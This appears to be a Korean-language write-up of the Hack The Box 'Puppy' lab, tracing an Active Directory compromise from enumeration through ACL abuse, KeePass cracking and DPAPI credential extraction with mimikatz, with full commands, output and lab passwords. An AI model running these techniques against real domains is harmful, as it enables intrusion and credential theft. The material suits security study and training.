As is common in real life pentests,
you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!


INFORMATION GATHERING

PORT SCANNING - TCP

  • 개방된 TCP 포트 확인 결과 88(커버로스), 389(ldap), 636(ldaps) 등의 포트가 개방되어 있었다.
    • 이를 통해 대상 호스트가 도메인 컨트롤러(DC)임을 유추할 수 있다.
  • 추가로 5985 포트가 개방되어 있으므로 유효한 계정이 있으면 대상 호스트로 원격 접속이 가능하다.
  recon nmap -p- -sC -sV -Pn -n 10.129.28.145 -oN 10.129.28.145
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 18:22 KST
Nmap scan report for 10.129.28.145
Host is up (0.067s latency).
Not shown: 65512 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-30 16:25:47Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
3260/tcp  open  iscsi?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49697/tcp open  msrpc         Microsoft Windows RPC
53153/tcp open  msrpc         Microsoft Windows RPC
53169/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
| smb2-time:
|   date: 2025-09-30T16:27:36
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h00m00s
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 331.72 seconds

PORT SCANNING - UDP

  • UDP 포트 확인 결과 88번 포트 외 몇몇 포트가 개방되어 있었다.
  recon nmap -sU -sV -Pn -n --top-ports 100 10.129.28.145 -oN 10.129.28.145_UDP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 18:23 KST
Nmap scan report for 10.129.28.145
Host is up (0.068s latency).
Not shown: 95 open|filtered udp ports (no-response)
PORT     STATE SERVICE      VERSION
53/udp   open  domain       Simple DNS Plus
88/udp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-30 16:23:45Z)
111/udp  open  rpcbind?
123/udp  open  ntp          NTP v3
2049/udp open  nfs          2-4 (RPC #100003)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port111-UDP:V=7.95%I=7%D=9/30%Time=68DBA1AB%P=x86_64-pc-linux-gnu%r(ONC
SF:RPC_CALL,18,">\xec\xe3\xca\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01"
SF:);
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 562.60 seconds


SMB Enumeration

  • 최초에 주어진 계정정보(levi.james)를 이용하여 SMB 열거를 진행했다.
  • 디폴트 쉐어 외에 ADMIN$, DEV 쉐어를 확인했다. RW권한은 없었다.
    • 따라서, 읽기 및 실행 권한이 있는 타 계정을 획득할 수 있는지 조사해야 한다.
  / nxc smb 10.129.28.145 -u $HTB_USER -p $HTB_PASS --shares
SMB         10.129.28.145   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.28.145   445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.28.145   445    DC               [*] Enumerated shares
SMB         10.129.28.145   445    DC               Share           Permissions     Remark
SMB         10.129.28.145   445    DC               -----           -----------     ------
SMB         10.129.28.145   445    DC               ADMIN$                          Remote Admin
SMB         10.129.28.145   445    DC               C$                              Default share
SMB         10.129.28.145   445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.129.28.145   445    DC               IPC$            READ            Remote IPC
SMB         10.129.28.145   445    DC               NETLOGON        READ            Logon server share
SMB         10.129.28.145   445    DC               SYSVOL          READ            Logon server share

  • SMB 열거 과정에서 도메인 컨트롤러의 도메인 주소와 이름(NetBios)을 획득했으므로
  • /etc/hosts 파일에 해당 정보를 IP와 맵핑해준다.



LDAP Enumeration

  • 이어서 LDAP 열거를 통해 도메인 컨트롤러 내에 존재하는 유저 정보를 추출했다.
  / nxc ldap 10.129.28.145 -u $HTB_USER -p $HTB_PASS --users-export userlist
LDAP        10.129.28.145   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP        10.129.28.145   389    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP        10.129.28.145   389    DC               [*] Enumerated 9 domain users: PUPPY.HTB
LDAP        10.129.28.145   389    DC               -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.129.28.145   389    DC               Administrator                 2025-02-20 04:33:28 0        Built-in account for administering the computer/domain
LDAP        10.129.28.145   389    DC               Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.129.28.145   389    DC               krbtgt                        2025-02-19 20:46:15 0        Key Distribution Center Service Account                 
LDAP        10.129.28.145   389    DC               levi.james                    2025-02-19 21:10:56 5
LDAP        10.129.28.145   389    DC               ant.edwards                   2025-02-19 21:13:14 0                                                                
LDAP        10.129.28.145   389    DC               adam.silver                   2025-10-01 01:34:29 0                                                                
LDAP        10.129.28.145   389    DC               jamie.williams                2025-02-19 21:17:26 5                                                                
LDAP        10.129.28.145   389    DC               steph.cooper                  2025-02-19 21:21:00 5                                                                
LDAP        10.129.28.145   389    DC               steph.cooper_adm              2025-03-09 00:50:40 5                                                                
LDAP        10.129.28.145   389    DC               [*] Writing 9 local users to userlist

Credential Spraying Attack

  • levi.james 계정의 패스워드로 크리덴셜 스프레잉 공격을 진행하였으나 유효한 계정은 발견되지 않았다.
  / nxc smb 10.129.28.145 -u ~/htb/Puppy/recon/userlist -p $HTB_PASS --continue-on-success
SMB         10.129.28.145   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.28.145   445    DC               [-] PUPPY.HTB\Administrator:KingofAkron2025! STATUS_LOGON_FAILURE
SMB         10.129.28.145   445    DC               [-] PUPPY.HTB\Guest:KingofAkron2025! STATUS_LOGON_FAILURE
SMB         10.129.28.145   445    DC               [-] PUPPY.HTB\krbtgt:KingofAkron2025! STATUS_LOGON_FAILURE
SMB         10.129.28.145   445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.28.145   445    DC               [-] PUPPY.HTB\ant.edwards:KingofAkron2025! STATUS_LOGON_FAILURE
SMB         10.129.28.145   445    DC               [-] PUPPY.HTB\adam.silver:KingofAkron2025! STATUS_LOGON_FAILURE
SMB         10.129.28.145   445    DC               [-] PUPPY.HTB\jamie.williams:KingofAkron2025! STATUS_LOGON_FAILURE
SMB         10.129.28.145   445    DC               [-] PUPPY.HTB\steph.cooper:KingofAkron2025! STATUS_LOGON_FAILURE
SMB         10.129.28.145   445    DC               [-] PUPPY.HTB\steph.cooper_adm:KingofAkron2025! STATUS_LOGON_FAILURE


Remote access via winrm

  • 포트스캔 과정에서 5985(WinRM) 포트가 개방됨을 확인했다.  
  • 주어진 초기 계정정보를 이용하여 원격 접속을 시도하였으나 실패했다.



Recon Summary

  • [1] SMB 쉐어에서 유용한 정보는 발견되지 않았으며  
  • [2] 크리덴셜 스프레잉 공격도 불가했고  
  • [3] WinRM 원격접속도 실패했다.

  • 블러드하운드를 이용하여 도메인 내 유용한 정보를 확인해 볼 필요가 있다.  
  • 블러드하운드 정보수집에는 다양한 방법이 있지만 여기서는 bloodhound-python 도구를 사용했다.


  • 추출한 압축파일을 블러드하운드에 넣고 정보를 확인해야 한다.  
  • 아래 과정을 거쳐 블러드하운드 초기 설정을 진행했다. (REFERNCE 1.)



  • bloodhound-python으로 정보를 수집했으나, 초기 계정(levi.james)에는 별다른 권한이 할당되어 있지 않았다.


  • 이전 과정에서 뭔가 놓친게 있나싶어 증적을 확인해보니 bloodhound-python 실행 시에 오류가 발생했던 것을 뒤늦게 발견했다. (KRB_AP_ERR_SKEW…)


  htb timedatectl set-ntp off
  htb rdate -n 10.129.28.145
Wed Oct  1 04:30:20 KST 2025
 
[ . . . ]
 
  / bloodhound-python -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.129.28.145 -dc dc.puppy.htb -c All --zip


  • [1] 블러드하운드에서 levi.james 사용자의 권한을 살펴보니 DEVELOPERS 그룹에 대하여 GenericWrite 권한이 존재했다.  
  • [2] 또한, DEVELOPERS 그룹에 속한 ANT.EDWARDS 계정은 SENIOR DEVS 그룹의 멤버였으며 ADAM.SILVER 계정에 대하여 GenericAll 권한이 할당되어 있었다.  
  • [3] 현재 Owned 계정은 levi.james 이므로, 일단 GenericWrite 권한 악용을 시도한다.


  • 정상적으로 levi.james 계정이 DEVELOPERS 그룹의 멤버에 추가됐다.
  • 검증은 bloodyAD 도구를 활용했다. (ldapsearch 등의 방법도 존재한다.)
  / net rpc group addmem "developers" "levi.james" -U "puppy.htb"/"levi.james"%"KingofAkron2025\!" -S "dc.puppy.htb"
 
[ . . . ]
 
(bloodyAD)   ~ bloodyAD -u levi.james -p 'KingofAkron2025!' --host 10.129.28.145 --dc-ip 10.129.28.145 get object levi.james | grep -i member
memberOf: CN=DEVELOPERS,DC=PUPPY,DC=HTB; CN=HR,DC=PUPPY,DC=HTB


  • 다시 SMB 쉐어의 권한을 살펴보면 levi.james 계정에 읽기 권한이 부여됐다.  
  • DEVELOPERS 그룹의 멤버는 DEV 쉐어의 읽기 권한이 있음을 유추해 볼 수 있다.


  • 해당 쉐어로 접근하였더니, .kdbx 파일이 존재했다.  
  • 이 파일은 비밀번호를 관리하는 오픈소스 프로그램(KeePass)이다.


  • kdbx 파일은 keepass2john 도구를 활용하면 해시 값으로 변환할 수 있는데
  • 해시 크래킹에 성공하면 kdbx 파일을 열 때 사용되는 패스워드를 얻을 수 있다.  
    • [1] kdbx file - - - (변환) - - - > hash file
    • [2] 해시 파일로부터 평문 패스워드 추출


Cracking hash from .kdbx file

  • KDBX 파일로부터 평문 패스워드를 추출하기 위해 먼저 파일 형태를 해시로 변환해야 한다.  
  • 이 때, keepass2john 도구를 활용했는데 아래 오류 메시지가 발생했다.
  smb ls
john  recovery.kdbx
  smb keepass2john recovery.kdbx > recovery.hash
! recovery.kdbx : File version '40000' is currently not supported!

  • 구글에 서칭을 해보니 john 도구를 최신 릴리즈 버전으로 업데이트 해야 한다고 한다.


# 1. 빌드에 필요한 패키지
sudo apt update
sudo apt install -y build-essential git libssl-dev zlib1g-dev yasm pkg-config \
    libgmp-dev libpcap-dev libnss3-dev libkrb5-dev libbz2-dev
 
# 2. 최신 소스 다운로드 (bleeding-jumbo)
cd ~
git clone https://github.com/openwall/john -b bleeding-jumbo john-jumbo
cd john-jumbo/src
 
# 3. 빌드
./configure
make -sj$(nproc)
 
# 4. 실행 위치로 이동
cd ../run
 
# 5. 동작 확인
./john --test
./john --list=formats | grep -i keepass

  • 신규 존더리퍼 빌드 시에는 keepass2john 바이너리도 최신화된다.  
  • 이 바이너리를 이용하면 .kdbx 파일을 해시 파일로 변환할 수 있다.
  run git:(bleeding-jumbo) ./keepass2john ~/htb/Puppy/recon/smb/recovery.kdbx > ~/htb/Puppy/recon/smb/recovery.hash

  • 그리고 변환된 해시 파일을 크래킹하면 평문 패스워드가 추출된다.  
  • 이 패스워드는 .kdbx 파일의 비밀번호 이므로 해당 파일 열람 시 활용할 수 있다.


  • .kdbx 파일은 keepassxc 라는 도구를 사용하면 dbeavor 처럼 열람해서 값을 확인해 볼 수 있다.
  smb keepassxc


  • kdbx 파일에는 계정정보 5개가 저장되어 있었다.
    • ADAM SILVER / HJKL2025!
    • ANTONY C. EDWARDS / Antman2025!
    • JAMIE WILLIAMSON / JamieLove2025!
    • SAMUEL BLAKE / ILY2025!
    • STEVE TUCKER / Steve2025!


  • 이 때, ANT EDWARDS 계정은 SENIOR DEVS 그룹의 멤버였으며 ADAM.SILVER 계정에 대하여 GenericAll 권한이 존재했으므로 해당 권한을 이용하면 ADAM.SILVER 계정의 패스워드 변경이 가능하다.


  • 추가로 블러드하운드에서 ADAM.SILVER 계정은 REMOTE MANAGEMENT USERS 그룹에 속한것을 확인했다. 이 그룹에 속한 경우 WinRM을 통해 원격접속이 가능하다.
  • 정리해보면, ANT EDWARDS 계정으로 ADAM.SILVER 계정의 패스워드 변경이 가능하다면 대상 호스트로(도메인 컨트롤러)의 원격 접속 또한 가능할 것으로 보인다.



Abusing GenericAll Permissinos

  • GenericAll 권한을 악용하여 패스워드 변경 후 WinRM 접속을 시도했지만 실패했다.  
  • 해당 계정이 비활성화 상태인 경우 접속이 되지 않는 경우가 있기때문에 확인을 해봐야한다.
  smb net rpc password "adam.silver" "N3WP4SSW0RD123\!" -U "puppy.htb"/"ant.edwards"%"Antman2025\!" -S "dc.puppy.htb"
  smb nxc winrm 10.129.28.145 -u adam.silver -p "N3WP4SSW0RD123\!"
WINRM       10.129.28.145   5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.28.145   5985   DC               [-] PUPPY.HTB\adam.silver:N3WP4SSW0RD123!

  • 계정 비활성화 확인은 여러 방법이 있겠지만(?) bloodyAD를 사용하여 확인했다.
  • 커버로스 인증을 위한 티켓은 impacket-getTGT 를 이용하여 발급했다.
    • 굳이 티켓 발급을 하지 않고 패스워드를 사용해도 상관없다.
  exploit impacket-getTGT puppy.htb/ant.edwards -dc-ip 10.129.28.145
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
Password:
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
 
[ . . . ]
 
  exploit rdate -n 10.129.28.145
Wed Oct  1 07:14:06 KST 2025
  exploit impacket-getTGT puppy.htb/ant.edwards -dc-ip 10.129.28.145
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
Password:
[*] Saving ticket in ant.edwards.ccache
 
[ . . . ]
 
  exploit export KRB5CCNAME=ant.edwards.ccache


INITIAL ACCESS

  • [1] adam.silver 계정의 상세정보 확인
    • AD(Active Directory) 사용자 레코드의 주요 속성들(=attributes)
  • [2] adam.silver 계정 비활성화 플래그 제거 (uac)  
  • [3] adam.silver 계정 비활성화 플래그 제거 여부 검증  
  • [4] adam.silver 계정으로 원격접속(WinRM)
    • 가끔씩 net rpc 명령어로 패스워드를 변경하거나 UAC 비활성화 플래그를 삭제해도 원복되는 경우가 있는데 이러한 경우에는 다시 패스워드 변경 및 계정 비활성화 플래그를 제거하고 진행해주면 된다.
# 위 (커버로스 인증 방식)
# 아래 (패스워드 인증 방식)
(bloodyAD)   exploit bloodyAD --host dc.puppy.htb -d puppy.htb -k get object 'adam.silver'
(bloodyAD)   exploit bloodyAD --host dc.puppy.htb -d puppy.htb -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver'
 
[ . . . ]
 
(bloodyAD)   bloodyAD --host dc.puppy.htb -d puppy.htb -k remove uac -f ACCOUNTDISABLE adam.silver
(bloodyAD)   bloodyAD --host dc.puppy.htb -d puppy.htb -k get object 'adam.silver' | grep -i userAccountControl


- `adam.silver` 계정으로 초기 침투에 성공하여 플래그를 확보했다.



POST EXPLOIT

Attempt to obtain NTLMv2 hash

  • ant.edwards의 쉐어 권한을 확인해보니 DEV 폴더에 READ,WRITE 권한이 존재했다.    
  • 쓰기 권한이 있는 경우 ntlm_theft를 이용하여 NTLM 해시 획득이 가능한 경우가 있다.
    • 이를 이용하여 NTLM 해시 탈취를 시도해봤으나 정보 획득은 불가했다.
  smb nxc smb 10.129.28.145 -u 'ant.edwards' -p 'Antman2025!' --shares
SMB         10.129.28.145   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.28.145   445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!
SMB         10.129.28.145   445    DC               [*] Enumerated shares
SMB         10.129.28.145   445    DC               Share           Permissions     Remark
SMB         10.129.28.145   445    DC               -----           -----------     ------
SMB         10.129.28.145   445    DC               ADMIN$                          Remote Admin
SMB         10.129.28.145   445    DC               C$                              Default share
SMB         10.129.28.145   445    DC               DEV             READ,WRITE      DEV-SHARE for PUPPY-DEVS
SMB         10.129.28.145   445    DC               IPC$            READ            Remote IPC
SMB         10.129.28.145   445    DC               NETLOGON        READ            Logon server share
SMB         10.129.28.145   445    DC               SYSVOL          READ            Logon server share

2. Internal Recon (adam.silver)

  • puppy\adam.silver 계정에 부여된 Se[?]Privilege 권한으로는 권한 상승이 불가했다.
*Evil-WinRM* PS C:\Users> whoami /priv
 
PRIVILEGES INFORMATION
----------------------
 
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enable

  • C:\Backup 경로에서는 백업 파일로 보이는 압축파일을 확인했다.
  • 공격자 호스트로 다운로드 후 활용 가능한 중요정보가 있는지 확인이 필요하다.

  exploit ls
ant.edwards.ccache  ntlm_theft  site-backup-2024-12-30.zip
  exploit 7z x site-backup-2024-12-30.zip
 
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:16 OPEN_MAX:1024, ASM
 
Scanning the drive for archives:
1 file, 4639546 bytes (4531 KiB)
 
Extracting archive: site-backup-2024-12-30.zip
--
Path = site-backup-2024-12-30.zip
Type = zip
Physical Size = 4639546
 
Everything is Ok
 
Folders: 9
Files: 40
Size:       6635053
Compressed: 4639546

  • nms-auth-config.xml.bak 파일을 확인해보니 LDAP 통신하는 계정정보가 존재했다.



LATERAL MOVEMENT (adam.silver > steph.cooper)

  • 획득한 계정으로 WinRM 원격접속 가능했다. (블러드하운드에서도 확인한 내용)
  puppy nxc smb 10.129.28.145 -u 'steph.cooper' -p 'ChefSteph2025!'



Internal Recon (steph.cooper)

  • steph.cooper 계정으로 측면이동 후 권한상승을 위한 공격 표면을 탐색한다.
    • [1] 파워쉘 히스토리 확인 (중요정보 없음)
    • [2] Unquoted Path, Service Binary/DLL Hijacking, Misconfigured Service Permissions, Se[?]Priviliege, Credential Manager, …, 등의 여러가지 권한 상승 포인트를 조사하였으나 악용 가능한 지점은 발견하지 못했다.
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Windows> (Get-PSReadLineOption).HistorySavePath
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Windows> dir
 
 
    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Windows
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r---          3/8/2025   7:40 AM                AccountPictures
d-----          5/8/2021   1:20 AM                CloudStore
d-r---          3/8/2025   7:40 AM                Libraries
d-----          5/8/2021   1:20 AM                Network Shortcuts
d-----          5/8/2021   1:20 AM                Printer Shortcuts
d-r---          3/8/2025   7:40 AM                Recent
d-r---          3/8/2025   7:40 AM                SendTo
d-----          3/8/2025   7:52 AM                ServerManager
d-r---          3/8/2025   7:40 AM                Start Menu
d-----          5/8/2021   1:20 AM                Templates
d-----          3/8/2025   8:01 AM                Themes

Abusing Windows DPAPI masterkey

  • DPAPI는 운영체제 레벨에서 암호화를 쉽게 진행할 수 있도록 Win32API를 제공해주는 윈도우 API다. 윈도우 환경에서 실행되는 소프트웨어를 만들 때 대칭/비대칭 암호화를 사용하는 경우가 있는데, 이 때 사용되는 키 혹은 정보를 암호화하여 안전하게 사용 및 관리하기 위해 DPAPI Masterkey를 사용한다고 한다.
    • DPAPI Masterkey는 보통 아래 경로에 저장되는데, 이 키 값을 확보하면 DPAPI를 이용하여 암호화된 중요정보를 복호화하여 확인할 수 있게 된다. (여담으로 DPAPI를 이용해 저장된 정보는 DPAPI Secrets 라고 부른다고 한다.)
    • DPAPI Masterkey Path - C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>
  • SharpDPAPI.exe 바이너리를 사용하면 쉽게 DPAPI 마스터키 경로를 확인할 수 있다.
*Evil-WinRM* PS C:\ProgramData> .\SharpDPAPI.exe masterkeys /password:ChefSteph2025!
 
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.2
 
 
[*] Action: User DPAPI Masterkey File Triage
 
[*] Will decrypt user masterkeys with password: ChefSteph2025!
 
[*] Found MasterKey : C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
 
[*] User master key cache:
 
{556a2412-1275-4ccf-b721-e6a0b4f90407}:4BE520BECFFF09F17E45269C9156768EE03609CE

Decrypt DPAPI masterkey with MIMIKATZ

  • 미미카츠 /rpc 옵션을 이용하여 마스터키 복호화 시도
    • d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
*Evil-WinRM* PS C:\programdata> .\mimikatz.exe "dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /rpc" exit
 
  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/
  
[ . . . ]
 
Auto SID from path seems to be: S-1-5-21-1487982659-1829050783-2281216199-1107
 
[domainkey] with RPC
[DC] 'PUPPY.HTB' will be the domain
[DC] 'DC.PUPPY.HTB' will be the DC server
  key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
  sha1: 3c3cf2061dd9d45000e9e6b49e37c7016e98e701
 
mimikatz(commandline) # exit
Bye!

Extract Credentials

  • [1] DPAPI Saved Credentials (RDP, 스케줄 작업, 등) 가 저장된 파일의 경로는 아래와 같았다.
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> ls -force
 
 
    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

  • [2] 이전 과정에서 획득한 2가지 정보(Decrypted DPAPI Masterkey, DPAPI Saved Credentials Path)를 활용하여 steph.cooper 계정에 저장된 계정정보 추출에 성공했다.
    • 획득한 계정정보 (steph.cooper_adm / FivethChipOnItsWay2025!)
*Evil-WinRM* PS C:\programdata> .\mimikatz.exe "dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84" exit
 
[ . . . ]
 
  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 3/8/2025 3:54:29 PM
  unkFlagsOrSize : 00000030 - 48
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=PUPPY.HTB
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : steph.cooper_adm
  CredentialBlob : FivethChipOnItsWay2025!
  Attributes     : 0
 
mimikatz(commandline) # exit
Bye!

LATERAL MOVEMENT (steph.cooper > steph.cooper_adm)

  • DPAPI 기능을 악용하여 steph.cooper_adm 계정으로 측면이동에 성공했다.


  • steph.cooper 계정은 로컬 관리자 그룹에 속해 있어 별도 권한상승 없이 루트 플래그 확인이 가능했다.



REFERENCE

  1. bloodhound preset  
  2. Time Synchronization
  3. Windows DPAPI
  4. Extract Creds from DPAPI Masterkey
  5. CheatSheet - DPAPI